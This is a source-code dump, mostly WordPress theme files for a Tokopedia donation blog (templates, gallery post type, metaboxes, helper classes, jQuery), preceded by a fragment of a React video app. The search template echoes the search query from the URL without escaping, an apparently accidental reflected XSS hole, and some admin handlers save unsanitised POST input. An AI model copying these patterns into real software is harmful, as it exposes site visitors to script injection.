// onSeeked={this.onVideoSeeked.bind(this)}
// onEnd={this.onVideoEnd.bind(this)}
/>
);
}
}
export default withStyles(homeCss)(VideoApp);
<file_sep>
const headerCss=(theme)=>({
root: {
width: '100%',
},
grow: {
flexGrow: 1,
},
menuButton: {
marginLeft: -12,
marginRight: 20,
},
title: {
display: 'block',
color:'white',
},
linkStyle:{
color:'white',
textDecoration:'none'
},
sectionDesktop: {
display: 'none',
[theme.breakpoints.up('md')]: {
display: 'flex',
},
},
sectionMobile: {
display: 'flex',
[theme.breakpoints.up('md')]: {
display: 'none',
},
},
})
const footerCss=(theme)=>({
root: {
width: '100%',
position:'fixed',
bottom: '0px'
},
grow: {
flexGrow: 1,
},
title: {
fontSize:'15px',
display: 'block'
},
appBarRoot:{
background:'slategrey'
}
})
const homeCss=(theme)=>({
card: {
margin:'0 auto',
width:'750px',
},
cardMedia: {
height: 0,
paddingTop: '56.25%', // 16:9
},
cardHead:{
textAlign:'center'
}
});
const profileCss=(theme)=>({
card: {
maxWidth: 400,
margin:'14vh auto',
[theme.breakpoints.down('xs')]:{
width:300
}
},
media: {
height: 0,
paddingTop: '56.25%', // 16:9
},
cardHead:{
textAlign:'center'
}
});
const notFoundCss=(theme)=>({
card: {
maxWidth: 400,
margin:'14vh auto',
[theme.breakpoints.down('xs')]:{
width:300
}
},
media: {
height: 0,
paddingTop: '56.25%', // 16:9
},
cardHead:{
textAlign:'center'
}
});
export {
headerCss,
footerCss,
homeCss,
profileCss,
notFoundCss
}
<file_sep>import { createMuiTheme } from '@material-ui/core/styles';
import pink from '@material-ui/core/colors/pink';
import red from '@material-ui/core/colors/red';
const theme = createMuiTheme({
palette: {
primary:{
main:'#0277BD'
},
secondary: pink,
error: red,
},
typography: {
fontFamily:"'Niramit', sans-serif",
useNextVariants: true
}
});
export default theme;
|
3ab64cd0b1ac993bde0e2b13deb7283f8710c831
|
[
"JavaScript"
] | 8 |
JavaScript
|
ErSachinVashist/videojsdemo
|
90b81c44d8362938401210dad45da03e61c9511d
|
7db72af5b5313ed69c4174c21763ee0f01b41a3a
|
refs/heads/master
|
<repo_name>afifkhaidir/sg-tkpd<file_sep>/lib/custom/cpt.libs.php
<?php
namespace Banana\PostTypes;
function gallery() {
//Thumbnails Gallery for Visit Tokopedia
if ( function_exists( 'add_theme_support')){
add_theme_support( 'post-thumbnails' );
}
add_image_size( 'admin-list-thumb', 80, 80, true); //admin thumbnail
$gallery_labels = array(
'name' => _x('Gallery', 'post type general name'),
'singular_name' => _x('Gallery', 'post type singular name'),
'add_new' => _x('Add New', 'gallery'),
'add_new_item' => __("Add New Gallery"),
'edit_item' => __("Edit Gallery"),
'new_item' => __("New Gallery"),
'view_item' => __("View Gallery"),
'search_items' => __("Search Gallery"),
'not_found' => __('No galleries found'),
'not_found_in_trash' => __('No galleries found in Trash'),
'parent_item_colon' => ''
);
$gallery_args = array(
'labels' => $gallery_labels,
'public' => true,
'publicly_queryable' => true,
'show_ui' => true,
'query_var' => true,
'rewrite' => true,
'hierarchical' => true,
'menu_position' => null,
'capability_type' => 'post',
'supports' => array('title', 'thumbnail'),
'menu_icon' => 'dashicons-format-gallery' //get_bloginfo('template_directory') . '/images/photo-album.png' //16x16 png
);
register_post_type('gallery', $gallery_args);
}
add_action('init', __NAMESPACE__ . '\\gallery');
<file_sep>/search.php
<?php use Banana\Pagination; ?>
<!-- Blog Posts -->
<div class="blog-posts-container clearfix">
<h3 class="text-secondary blog-posts-container__heading"><?php echo 'Hasil Pencarian "<strong>'.$_GET["s"].'</strong>"' ?></h3>
<div class="row">
<?php if(have_posts()) : while (have_posts()) : the_post();
get_template_part('templates/content', get_post_type() != 'post' ? get_post_type() : get_post_format());
endwhile;
else :
echo '<div class="col-sm-12"><div class="blog-post-well"><p>Post tidak ditemukan<p></div></div>';
endif?>
</div>
<div class="blog-pagination">
<?php Pagination\pagination(); ?>
</div>
</div>
<file_sep>/assets/scripts/main.js
/* ========================================================================
* DOM-based Routing
* Based on http://goo.gl/EUTi53 by <NAME>
*
* Only fires on body classes that match. If a body class contains a dash,
* replace the dash with an underscore when adding it to the object below.
*
* .noConflict()
* The routing is enclosed within an anonymous function so that you can
* always reference jQuery with $, even when in .noConflict() mode.
* ======================================================================== */
(function($) {
// Use this variable to set up the common and page specific functions. If you
// rename this variable, you will also need to rename the namespace below.
var Sage = {
// All pages
'common': {
init: function() {
// JavaScript to be fired on all pages
/* ================
* Pivot Controller
* ================ */
var pivotDelay = 200, pivotEnterTimeout, pivotLeaveTimeout;
var overlay = $('.overlay');
var pivotContainer = $('.pivot-container');
$('.pivot-button, .pivot-container').hover(function() {
/* Dont display pivot if mouse enter < delay */
clearTimeout(pivotLeaveTimeout);
/* Setting delay on mouseenter */
pivotEnterTimeout = setTimeout(function() {
pivotContainer.addClass('pivot-container--active');
overlay.show();
}, pivotDelay);
}, function() {
/* Dont remove pivot if mouse leave < delay */
clearTimeout(pivotEnterTimeout);
/* Setting delay on mouseleave */
pivotLeaveTimeout = setTimeout(function() {
pivotContainer.removeClass('pivot-container--active');
overlay.hide();
}, pivotDelay);
});
/* ================
* Slider
* ================ */
if($('.slider-slide').length > 1) {
$('.slider-wrapper').slick({
dots: true,
arrows: true,
fade: true,
autoplay: true,
autoplaySpeed: 5000,
prevArrow: '<a class="slick-prev"><img src="https://ecs7.tokopedia.net/assets/images/arrow/banner-arrow-left.png" class="slick-arrow__img" alt="slider left"/></a>',
nextArrow: '<a class="slick-next"><img src="https://ecs7.tokopedia.net/assets/images/arrow/banner-arrow-right.png" class="slick-arrow__img" alt="slider right"/></a>',
infinite: true
});
}
},
finalize: function() {
// JavaScript to be fired on all pages, after page specific JS is fired
}
},
// Home page
'home': {
init: function() {
// JavaScript to be fired on the home page
},
finalize: function() {
// JavaScript to be fired on the home page, after the init JS
}
},
// About us page, note the change from about-us to about_us.
'about_us': {
init: function() {
// JavaScript to be fired on the about us page
}
}
};
// The routing fires all common scripts, followed by the page specific scripts.
// Add additional events for more control over timing e.g. a finalize event
var UTIL = {
fire: function(func, funcname, args) {
var fire;
var namespace = Sage;
funcname = (funcname === undefined) ? 'init' : funcname;
fire = func !== '';
fire = fire && namespace[func];
fire = fire && typeof namespace[func][funcname] === 'function';
if (fire) {
namespace[func][funcname](args);
}
},
loadEvents: function() {
// Fire common init JS
UTIL.fire('common');
// Fire page-specific init JS, and then finalize JS
$.each(document.body.className.replace(/-/g, '_').split(/\s+/), function(i, classnm) {
UTIL.fire(classnm);
UTIL.fire(classnm, 'finalize');
});
// Fire common finalize JS
UTIL.fire('common', 'finalize');
}
};
// Load Events
$(document).ready(UTIL.loadEvents);
})(jQuery); // Fully reference jQuery after this point.
<file_sep>/templates/content.php
<div class="col-sm-6">
<article class="blog-post">
<div class="blog-post-thumbnail">
<a href="<?php the_permalink(); ?>">
<img src="<?php the_post_thumbnail_url(); ?>" alt="<?php the_title() ?>" class="blog-post-thumbnail__img">
</a>
</div>
<div class="blog-post-body">
<h2 class="blog-post-body__title"><a href="<?php the_permalink() ?>"><?php the_title() ?></a></h2>
<div class="blog-post-body__date">
<?php echo get_the_date('j F Y') ?>
</div>
<div class="blog-post-body__text">
<?php the_excerpt(); ?>
</div>
</div>
</article>
</div><file_sep>/templates/sidebar.php
<?php
/* Set CTA link */
$cta_link = get_the_category($post->ID)[0]->cat_name == 'TopDonasiBebas' && is_single() ?
'https://www.tokopedia.com/donasi-online/?utm_source=site&utm_medium=WddmUAVW&utm_campaign=CO_TOP-DON_0_BO_0&utm_content=TOP-DON-B' :
'https://www.tokopedia.com/';
?>
<!-- Search Box -->
<div class="sidebar-search">
<h3 class="text-primary sidebar-search__heading">Cari Blog di Tokopedia Berbagi</h3>
<form action="<?php bloginfo('url'); ?>" method="GET">
<div class="input-group">
<input type="text" name="s" class="form-control sidebar-search__input" placeholder="Ketik kata kunci blog di sini">
<span class="input-group-btn">
<button class="btn btn-green sidebar-search__btn" type="submit">Cari</button>
</span>
</div>
</form>
</div>
<!-- Call-to-action -->
<div class="sidebar-box">
<h3 class="text-primary sidebar-box__heading">Ayo mulai berbagi sesama di Tokopedia!</h2>
<p class="text-secondary sidebar-box__p">Melalui Tokopedia, kamu bisa berdonasi dan berzakat. Berbagi untuk sesama, dimulai dari Tokopedia!</p>
<div class="sidebar-cta">
<a href="<?php echo $cta_link ?>" target="_blank">
<button class="btn btn-orange btn-big sidebar-cta__btn">Salurkan Donasi</button>
</a>
</div>
</div>
<!-- If single page, display popular post -->
<?php if(is_single()): ?>
<div class="sidebar-box">
<?php dynamic_sidebar( 'sidebar-primary' ); ?>
</div>
<?php else: ?>
<!-- Topdonasi 100's Video-->
<div class="sidebar-box">
<h3 class="text-primary sidebar-box__heading">TopDonasi100 Bulan Ini</h3>
<div class="blog-video">
<div class="embed-responsive embed-responsive-16by9">
<iframe width="560" height="315" src="https://www.youtube.com/embed/Bti4s43C8bI" frameborder="0" allowfullscreen></iframe>
</div>
</div>
</div>
<!-- NGO logo -->
<div class="sidebar-box">
<h3 class="text-primary sidebar-box__heading">Lembaga Penyalur Donasi</h2>
<div class="row">
<div class="col-xs-4 col-sm-3 col-md-4 col-lg-3">
<a href="http://pusat.baznas.go.id">
<img src="https://ecs7.tokopedia.net/microsite-production/donasi/logo/baznas.png" alt="baznas" class="img-responsive sidebar__img-partner">
</a>
</div>
<div class="col-xs-4 col-sm-3 col-md-4 col-lg-3">
<a href="http://www.dompetdhuafa.org">
<img src="https://ecs7.tokopedia.net/microsite-production/donasi/logo/dd.png" alt="dompet dhuafa" class="img-responsive sidebar__img-partner">
</a>
</div>
<div class="col-xs-4 col-sm-3 col-md-4 col-lg-3">
<a href="http://www.pkpu.org">
<img src="https://ecs7.tokopedia.net/microsite-production/donasi/logo/pkpu.png" alt="pkpu" class="img-responsive sidebar__img-partner">
</a>
</div>
<div class="col-xs-4 col-sm-3 col-md-4 col-lg-3">
<a href="http://www.ycabfoundation.org/en/">
<img src="https://ecs7.tokopedia.net/microsite-production/donasi/logo/ycab.png" alt="ycab" class="img-responsive sidebar__img-partner">
</a>
</div>
</div>
</div>
<!-- Gallery -->
<?php $gallery_ID = 119;
$gallery_attachments = get_post_meta($gallery_ID, 'repeatable_fields', true);
$gallery_url = get_permalink($gallery_ID);
if($gallery_attachments != NULL): ?>
<div class="sidebar-box hidden-xs hidden-sm">
<h3 class="text-secondary sidebar-box__heading">Galeri Foto</h3>
<div class="row">
<?php if(sizeof($gallery_attachments) > 4)
$gallery_attachments = array_slice($gallery_attachments, -4, 4); // Select 4 last images for thumbnail
foreach($gallery_attachments as $attachment): ?>
<div class="sidebar-gallery">
<a href="<?php echo $gallery_url ?>">
<img src="<?php echo $attachment['url'] ?>" alt="gallery" class="sidebar-gallery__img">
</a>
</div>
<?php endforeach ?>
</div>
<div class="row">
<div class="col-md-12 sidebar-gallery__link">
<a href="<?php echo $gallery_url ?>" class="pull-right">Lihat lainnya »</a>
</div>
</div>
</div>
<?php endif ?>
<?php endif ?><file_sep>/templates/content-single-gallery.php
<?php while (have_posts()) : the_post(); ?>
<article <?php post_class(); ?>>
<header>
<h1 class="post-title"><?php the_title();?></h1>
</header>
<div class="post-content">
<div class="post-separator"></div>
<div class="gallery-wrapper">
<?php $pictures = get_post_meta($post->ID, 'repeatable_fields', true);
foreach($pictures as &$picture) { ?>
<div class="gallery-box">
<img class="gallery-box__img"
src="<?php echo $picture['url']; ?>"
alt="<?php echo $picture['name']; ?>">
<div class="gallery-box__caption">
<?php echo $picture['name']; ?>
</div>
</div>
<?php } ?>
<?php unset($value); ?>
</div>
<!-- Lightbox Container -->
<div class="lightbox">
<div class="lightbox-body">
<img src=""
alt=""
class="lightbox-body__img img-responsive">
<button class="lightbox-body__close">
<img src="https://static.tokopedia.net/donasi/wp-content/themes/tkpd-donasi/assets/images/ico-close.png" class="lightbox-close" alt="close">
</button>
</div>
<div class="lightbox-bottom">
<p class="lightbox-bottom__caption"></p>
</div>
</div>
</div>
</article>
<?php endwhile; ?><file_sep>/lib/extras.php
<?php
namespace Roots\Sage\Extras;
use Roots\Sage\Setup;
/* ==================
* Add <body> classes
* ================== */
function body_class($classes) {
// Add page slug if it doesn't exist
if (is_single() || is_page() && !is_front_page()) {
if (!in_array(basename(get_permalink()), $classes)) {
$classes[] = basename(get_permalink());
}
}
// Add class if sidebar is active
if (Setup\display_sidebar()) {
$classes[] = 'sidebar-primary';
}
return $classes;
}
add_filter('body_class', __NAMESPACE__ . '\\body_class');
/* ======================
* Clean up the_excerpt()
* ====================== */
function excerpt_more() {
return '… <a href="' . get_permalink() . '" class="blog-post__excerpt-link">' . __('Lihat Selengkapnya', 'sage') . '</a>';
}
add_filter('excerpt_more', __NAMESPACE__ . '\\excerpt_more');
/* ========================
* Exclude page from search
* ======================== */
function SearchFilter($query) {
if($query->is_search) {
$query->set('post_type', 'post');
}
return $query;
}
add_filter('pre_get_posts', __NAMESPACE__ . '\\SearchFilter');
/* =====================
* Custom excerpt length
* ===================== */
function custom_excerpt_length($length) {
return 15;
}
add_filter( 'excerpt_length', __NAMESPACE__ . '\\custom_excerpt_length', 999 );<file_sep>/templates/header.php
<!-- Overlay -->
<div class="overlay"></div>
<!-- Top Navigation -->
<header class="top-navigation">
<div class="container">
<div class="top-navigation-logo">
<a href="<?php bloginfo('url'); ?>">
<img src="https://ecs7.tokopedia.net/microsite-production/donasi/images/tokopedia-berbagi-logo.png"
class="top-navigation-logo__img"
alt="logo">
</a>
</div>
<div class="top-navigation-pivot">
<div class="pivot inline-block">
<button class="pivot-button">Expander</button>
<div class="pivot-container">
<div class="pivot-item">
<a href="https://www.tokopedia.com/"
class="pivot-item__link"
target="_blank">
<div class="pivot-icon__wrapper">
<div class="pivot-icon pivot-icon-toped"></div>
</div>
<p class="pivot-icon__text">Jual Beli Online</p>
<span class="clear-b"></span>
</a>
</div>
<div class="pivot-item">
<a href="https://www.tokopedia.com/official-store"
class="pivot-item__link"
target="_blank"
id="pivot-official-store">
<div class="pivot-icon__wrapper">
<div class="pivot-icon pivot-icon-ofstore"></div>
</div>
<p class="pivot-icon__text">Official Store</p>
<span class="clear-b"></span>
</a>
</div>
<div class="pivot-item">
<a href="https://www.tokopedia.com/pulsa"
class="pivot-item__link"
target="_blank">
<div class="pivot-icon__wrapper">
<div class="pivot-icon pivot-icon-pulsa"></div>
</div>
<p class="pivot-icon__text">Produk Digital</p>
<span class="clear-b"></span>
</a>
</div>
<div class="pivot-item">
<a href="https://tiket.tokopedia.com/"
class="pivot-item__link"
target="_blank">
<div class="pivot-icon__wrapper">
<div class="pivot-icon pivot-icon-tiket"></div>
</div>
<p class="pivot-icon__text">Tiket Kereta</p>
<span class="clear-b"></span>
</a>
</div>
<div class="pivot-item">
<a href="https://www.tokopedia.com/bantuan/"
class="pivot-item__link"
target="_blank">
<div class="pivot-icon__wrapper">
<div class="pivot-icon pivot-icon-help"></div>
</div>
<p class="pivot-icon__text">Bantuan</p>
<span class="clear-b"></span>
</a>
</div>
</div>
</div>
</div>
<div class="top-navigation-menu">
<ul>
<li class="top-navigation-menu-list">
<a href="<?php echo get_bloginfo('url') ?>"
class="top-navigation-menu__link">Blog</a>
</li>
</ul>
</div>
<div class="clear"></div>
</div>
</header>
<!-- End Top Navigation -->
<file_sep>/index.php
<?php use Banana\Pagination; ?>
<!-- Slider container -->
<?php $slider_arg=array('post_type'=>'post','cat' => get_category_by_slug('topdonasi-bebas') -> term_id,'posts_per_page'=>'4');
$slider_post=new WP_Query($slider_arg);
if($slider_post->have_posts()): ?>
<div class="slider-container">
<div class="slider-wrapper">
<?php while($slider_post->have_posts()): ?>
<?php $slider_post->the_post();
$slider_link = get_the_permalink();
$slider_img = wp_get_attachment_image_src(get_post_thumbnail_id($post->ID), 'full')['0'];
$slider_title = get_the_title(); ?>
<!-- Slides -->
<div class="slider-slide">
<a href="<?php echo $slider_link ?>">
<img src="<?php echo $slider_img ?>" class="slider-image" alt="<?php echo $slider_title ?>"/>
</a>
</div>
<?php endwhile; endif; ?>
</div>
</div>
<!-- Blog Posts -->
<div class="blog-posts-container clearfix">
<div class="row">
<?php while (have_posts()) : the_post(); ?>
<?php get_template_part('templates/content', get_post_type() != 'post' ? get_post_type() : get_post_format()); ?>
<?php endwhile; ?>
</div>
<div class="blog-pagination">
<?php Pagination\pagination(); ?>
</div>
</div>
<file_sep>/lib/wiryo.libs.php
<?php
class backendframework{
public $addmenu;
public $args;
public function __construct(){
add_action('after_setup_theme',array($this,'themes_setup'));
add_action('wp_enqueue_script',array($this,'theme_scripts'));
add_action('widgets_init', array($this,'add_widget') );
}
public function themes_setup(){
// This theme uses wp_nav_menu() in two locations.
if(isset($this->addmenu)){
register_nav_menus($this->addmenu);
}
}
public function addcss($cssname,$cssfile){
if(!is_admin()){
wp_enqueue_style($cssname,get_template_directory_uri().'/assets/css/'.$cssfile);
}
}
public function addjs($jsname,$jsfile){
wp_enqueue_script($jsname,get_template_directory_uri().'/assets/js/'.$jsfile,array('jquery'),'2017',true);
}
public function addfont($fontname,$fontlink){
wp_enqueue_style($fontname,$fontlink);
}
public function addgeneralcss(){
wp_enqueue_style('stylesheet',get_stylesheet_uri());
}
public function theme_scripts(){
$this->addfont();
$this->addcss();
$this->addgeneralcss();
$this->addjs();
}
public function add_widget($widget){
register_sidebar($widget);
}
public function custom_post_type(){
$this->add_post_type();
}
}
//Class to make post type
class oo_post_type{
public $singular;
public $plural;
public $name;
public $menu_icon;
public function __construct($name,$plural,$singular,$menu_icon){
$this->name=$name;
$this->plural=$plural;
$this->singular=$singular;
$this->menu_icon=$menu_icon;
add_action( 'init', array($this,'post_type_function') );
}
function post_type_function() {
register_post_type( $this->name,
array(
'labels' => array(
'name' => __( $this->plural ),
'singular_name' => __( $this->singular )
),
'public' => true,
'has_archive' => true,
'menu_icon'=> $this->menu_icon,
'supports' => array( 'title', 'editor', 'author', 'thumbnail' )
)
);
}
}
//create taxonomie
class add_taxonomy{
public $single_name;
public $plural_name;
public $taxonomy_title;
public $labels;
public $post_type;
public $taxonomy_name;
public function __construct($taxonomy_name,$single_name,$plural_name,$taxonomy_title,$post_type){
$this->single_name=$single_name;
$this->plural_name=$plural_name;
$this->taxonomy_title=$taxonomy_title;
$this->taxonomy_name=$taxonomy_name;
$this->post_type=$post_type;
add_action('init',array($this,'create_guidetheme_taxonomy'),0);
}
public function create_guidetheme_taxonomy(){
$this->labels=array(
'name' => _x( $this->taxonomy_title, 'taxonomy general name' ),
'singular_name' => _x( $this->single_name, 'taxonomy singular name' ),
'search_items' => __( 'Search '.$this->plural_name ),
'all_items' => __( 'All '.$this->plural_name ),
'parent_item' => __( 'Parent '.$this->plural_name ),
'parent_item_colon' => __( 'Parent '.$this->plural_name ),
'edit_item' => __( 'Edit '.$this->plural_name ),
'update_item' => __( 'Update '.$this->plural_name ),
'add_new_item' => __( 'Add New '.$this->plural_name ),
'new_item_name' => __( 'New '.$this->plural_name.' Name' ),
'menu_name' => __( $this->plural_name ),
);
register_taxonomy($this->taxonomy_name,array($this->post_type), array(
'hierarchical' => true,
'labels' => $this->labels,
'show_ui' => true,
'show_admin_column' => true,
'query_var' => true,
'rewrite' => array( 'slug' => $this->single_name ),
));
}
}
//adding image to category
class categoryImage{
public $taxonomy_name;
public function __construct($taxonomy_name){
$this->taxonomy_name=$taxonomy_name;
$this->load_wp_media_files();
add_image_size('small','60','60',true);
add_action( $this->taxonomy_name.'_add_form_fields', array ( $this, 'add_category_image' ), 10, 2 );
add_action( 'created_'.$this->taxonomy_name, array ( $this, 'save_category_image' ), 10, 2 );
add_action( $this->taxonomy_name.'_edit_form_fields', array ( $this, 'update_category_image' ), 10, 2 );
add_action( 'edited_'.$this->taxonomy_name, array ( $this, 'updated_category_image' ), 10, 2 );
add_action( 'admin_footer', array ( $this, 'add_script' ) );
add_filter( 'manage_edit-'.$this->taxonomy_name.'_columns', array($this,'jt_edit_term_columns') );
add_filter( 'manage_'.$this->taxonomy_name.'_custom_column', array($this,'jt_manage_term_custom_column'), 10, 3 );
}
//adding picture on categories
function load_wp_media_files() {
wp_enqueue_media();
}
public function add_category_image ( $taxonomy ) { ?>
<div class="form-field term-group">
<label for="<?php echo $this->taxonomy_name;?>-image-id"><?php _e('Image', 'hero-theme'); ?></label>
<input type="hidden" id="<?php echo $this->taxonomy_name;?>-image-id" name="<?php echo $this->taxonomy_name;?>-image-id" class="custom_media_url" value="">
<div id="<?php echo $this->taxonomy_name;?>-image-wrapper"></div>
<p>
<input type="button" class="button button-secondary ct_tax_media_button" id="ct_tax_media_button" name="ct_tax_media_button" value="<?php _e( 'Add Image', 'hero-theme' ); ?>" />
<input type="button" class="button button-secondary ct_tax_media_remove" id="ct_tax_media_remove" name="ct_tax_media_remove" value="<?php _e( 'Remove Image', 'hero-theme' ); ?>" />
</p>
</div>
<?php
}
/*
* Save the form field
* @since 1.0.0
*/
public function save_category_image ( $term_id, $tt_id ) {
if( isset( $_POST[$this->taxonomy_name.'-image-id'] ) && '' !== $_POST[$this->taxonomy_name.'-image-id'] ){
$image = $_POST[$this->taxonomy_name.'-image-id'];
add_term_meta( $term_id, $this->taxonomy_name.'-image-id', $image, true );
}
}
/*
* Edit the form field
* @since 1.0.0
*/
public function update_category_image ( $term, $taxonomy ) { ?>
<tr class="form-field term-group-wrap">
<th scope="row">
<label for="<?php echo $this->taxonomy_name;?>-image-id"><?php _e( 'Image', 'hero-theme' ); ?></label>
</th>
<td>
<?php $image_id = get_term_meta ( $term -> term_id, $this->taxonomy_name.'-image-id', true ); ?>
<input type="hidden" id="<?php echo $this->taxonomy_name;?>-image-id" name="<?php echo $this->taxonomy_name;?>-image-id" value="<?php echo $image_id; ?>">
<div id="<?php echo $this->taxonomy_name;?>-image-wrapper">
<?php if ( $image_id ) { ?>
<?php echo wp_get_attachment_image ( $image_id, 'small' ); ?>
<?php } ?>
</div>
<p>
<input type="button" class="button button-secondary ct_tax_media_button" id="ct_tax_media_button" name="ct_tax_media_button" value="<?php _e( 'Add Image', 'hero-theme' ); ?>" />
<input type="button" class="button button-secondary ct_tax_media_remove" id="ct_tax_media_remove" name="ct_tax_media_remove" value="<?php _e( 'Remove Image', 'hero-theme' ); ?>" />
</p>
</td>
</tr>
<?php
}
/*
* Update the form field value
* @since 1.0.0
*/
public function updated_category_image ( $term_id, $tt_id ) {
if( isset( $_POST[$this->taxonomy_name.'-image-id'] ) && '' !== $_POST[$this->taxonomy_name.'-image-id'] ){
$image = $_POST[$this->taxonomy_name.'-image-id'];
update_term_meta ( $term_id, $this->taxonomy_name.'-image-id', $image );
} else {
update_term_meta ( $term_id, $this->taxonomy_name.'-image-id', '' );
}
}
//adding image to category list
public function jt_edit_term_columns( $columns ) {
$columns['image'] = __( 'Image', 'guide' );
return $columns;
}
public function jt_manage_term_custom_column( $out, $column, $term_id ) {
if ( 'image' === $column ) {
$image_id = get_term_meta( $term_id, $this->taxonomy_name.'-image-id', true );
}
echo wp_get_attachment_image ( $image_id, 'small' );
}
/*
* Add script
* @since 1.0.0
*/
public function add_script() { ?>
<script>
jQuery(document).ready( function($) {
function ct_media_upload(button_class) {
var _custom_media = true,
_orig_send_attachment = wp.media.editor.send.attachment;
$('body').on('click', button_class, function(e) {
var button_id = '#'+$(this).attr('id');
var send_attachment_bkp = wp.media.editor.send.attachment;
var button = $(button_id);
_custom_media = true;
wp.media.editor.send.attachment = function(props, attachment){
if ( _custom_media ) {
$('#<?php echo $this->taxonomy_name;?>-image-id').val(attachment.id);
$('#<?php echo $this->taxonomy_name;?>-image-wrapper').html('<img class="custom_media_image" src="" style="margin:0;padding:0;max-height:100px;float:none;" />');
$('#<?php echo $this->taxonomy_name;?>-image-wrapper .custom_media_image').attr('src',attachment.sizes.thumbnail.url).css('display','block');
} else {
return _orig_send_attachment.apply( button_id, [props, attachment] );
}
}
wp.media.editor.open(button);
return false;
});
}
ct_media_upload('.ct_tax_media_button.button');
$('body').on('click','.ct_tax_media_remove',function(){
$('#<?php echo $this->taxonomy_name;?>-image-id').val('');
$('#<?php echo $this->taxonomy_name;?>-image-wrapper').html('<img class="custom_media_image" src="" style="margin:0;padding:0;max-height:100px;float:none;" />');
});
// Thanks: http://stackoverflow.com/questions/15281995/wordpress-create-category-ajax-response
$(document).ajaxComplete(function(event, xhr, settings) {
var queryStringArr = settings.data.split('&');
if( $.inArray('action=add-tag', queryStringArr) !== -1 ){
var xml = xhr.responseXML;
$response = $(xml).find('term_id').text();
if($response!=""){
// Clear the thumb image
$('#<?php echo $this->taxonomy_name;?>-image-wrapper').html('');
}
}
});
});
</script>
<?php }
}
class wp_editor_metabox{
public $metaid;
public $metatitle;
public $post_type;
public $wpeditor_id;
public $metaboxnonce_id;
public function __construct($metaid,$metatitle,$post_type,$wpeditor_id,$metaboxnonce_id){
$this->metaid=$metaid;
$this->metatitle=$metatitle;
$this->post_type=$post_type;
$this->wpeditor_id=$wpeditor_id;
$this->metaboxnonce_id=$metaboxnonce_id;
add_action('add_meta_boxes',array($this,'new_metabox'));
add_action('save_post',array($this,'new_metabox_save'));
}
function new_metabox(){
add_meta_box($this->metaid,$this->metatitle,array($this,'new_metabox_detail'),$this->post_type,'normal','high');
}
function new_metabox_detail($post) {
$field_value = get_post_meta( $post->ID, $this->wpeditor_id, false );
if($field_value[0]==""){
wp_editor( $field_value[0], $this->wpeditor_id, array('textarea_rows' => '5') );
}else{
wp_editor( $field_value[0], $this->wpeditor_id, array('textarea_rows' => '5') );
}
wp_nonce_field($this->metaboxnonce_id, 'meta_box_nonce');
}
function new_metabox_save($post_id){
// Bail if we're doing an auto save
if (defined('DOING_AUTOSAVE') && DOING_AUTOSAVE)
return;
// if our nonce isn't there, or we can't verify it, bail
if (!isset($_POST['meta_box_nonce']) || !wp_verify_nonce($_POST['meta_box_nonce'], $this->metaboxnonce_id))
return;
// if our current user can't edit this post, bail
if (!current_user_can('edit_post'))
return;
if (isset($_POST[$this->wpeditor_id])) {
update_post_meta($post_id, $this->wpeditor_id, $_POST[$this->wpeditor_id]);
}
}
}
class addimagecustomizer{
public $settingid;
public $sectionid;
public $sectiontitle;
public $sectiondescription;
public function __construct($settingid,$sectionid,$sectiontitle,$sectiondescription){
$this->settingid=$settingid;
$this->sectionid=$sectionid;
$this->sectiontitle=$sectiontitle;
$this->sectiondescription=$sectiondescription;
add_action( 'customize_register', array($this,'addcustomizer') );
}
public function addcustomizer($wp_customize){
//adding logo upload
$wp_customize->add_setting($this->settingid);
$wp_customize->add_section($this->sectionid,array(
'title'=>__($this->sectiontitle,'gosimple'),
'priority'=>30,
'description'=>$this->sectiondescription
));
$wp_customize->add_control(new WP_Customize_Image_Control($wp_customize,$this->settingid,array(
'label' =>__($this->sectiontitle,'gosimple'),
'section'=>$this->sectionid,
'settings'=>$this->settingid
)));
}
}
class addcolorcustomizer{
public $settingid;
public $sectionid;
public $sectiontitle;
public $controltitle;
public $sectiondescription;
public function __construct($settingid,$sectionid,$sectiontitle,$controltitle,$sectiondescription){
$this->settingid=$settingid;
$this->sectionid=$sectionid;
$this->sectiontitle=$sectiontitle;
$this->controltitle=$controltitle;
$this->sectiondescription=$sectiondescription;
add_action( 'customize_register', array($this,'addcustomizer') );
}
public function addcustomizer($wp_customize){
//adding logo upload
$wp_customize->add_setting($this->settingid,array('type'=>'theme_mod','default'=>'#000000'));
$wp_customize->add_section($this->sectionid,array(
'title'=>__($this->sectiontitle,'gosimple'),
'priority'=>30,
'description'=>$this->sectiondescription
));
$wp_customize->add_control(new WP_Customize_Color_Control($wp_customize,$this->settingid,array(
'label' =>__($this->controltitle,'gosimple'),
'section'=>$this->sectionid,
'settings'=>$this->settingid
)));
}
}
?><file_sep>/category.php
<?php use Banana\Pagination; ?>
<!-- Blog Posts -->
<div class="blog-posts-container clearfix">
<h3 class="text-secondary blog-posts-container__heading">Kategori <strong><?php echo single_cat_title() ?></strong></h3>
<div class="row">
<?php while (have_posts()) : the_post(); ?>
<?php get_template_part('templates/content', get_post_type() != 'post' ? get_post_type() : get_post_format()); ?>
<?php endwhile; ?>
</div>
<div class="blog-pagination">
<?php Pagination\pagination(); ?>
</div>
</div>
<file_sep>/lib/custom/metabox.libs.php
<?php
namespace Banana\Metaboxes;
function gallery_box() {
add_meta_box('repeatable-fields', 'Upload Images', __NAMESPACE__ . '\\repeatable_meta_box_display', 'gallery', 'normal', 'high');
}
add_action('add_meta_boxes', __NAMESPACE__ . '\\gallery_box');
function repeatable_meta_box_display() {
global $post;
$repeatable_fields = get_post_meta($post->ID, 'repeatable_fields', true);
wp_nonce_field( 'repeatable_meta_box_nonce', 'repeatable_meta_box_nonce' );
?>
<script type="text/javascript">
jQuery(document).ready(function($) {
$('.metabox_submit').click(function(e) {
e.preventDefault();
$('#publish').click();
});
$('#add-row').on('click', function() {
var row = $('.empty-row.screen-reader-text').clone(true);
row.removeClass('empty-row screen-reader-text');
row.insertBefore('#repeatable-fieldset-one tbody>tr:last');
return false;
});
$('.remove-row').on('click', function() {
$(this).parents('tr').remove();
return false;
});
$('#repeatable-fieldset-one tbody').sortable({
opacity: 0.6,
revert: true,
cursor: 'grab',
handle: '.sort'
});
$('.uploaded_image').on('click', function() {
var thisUploadButton = $(this).parents('tr')[0].children[2].children[0];
console.log(thisUploadButton);
$(thisUploadButton).click();
return false;
});
$('.upload_image_button').on('click', function() {
var thisImage = $(this).parents('tr')[0].children[1].children[0].children[0];
var thisCaption = $(this).parents('tr')[0].children[1].children[1];
var thisUrl = $(this).parents('tr')[0].children[2].children[1];
var custom_uploader = wp.media({
title: 'Custom Image',
button: {
text: 'Upload Image'
},
multiple: false
})
.on('select', function() {
console.log(custom_uploader.state().get('selection'));
var attachment = custom_uploader.state().get('selection').first().toJSON();
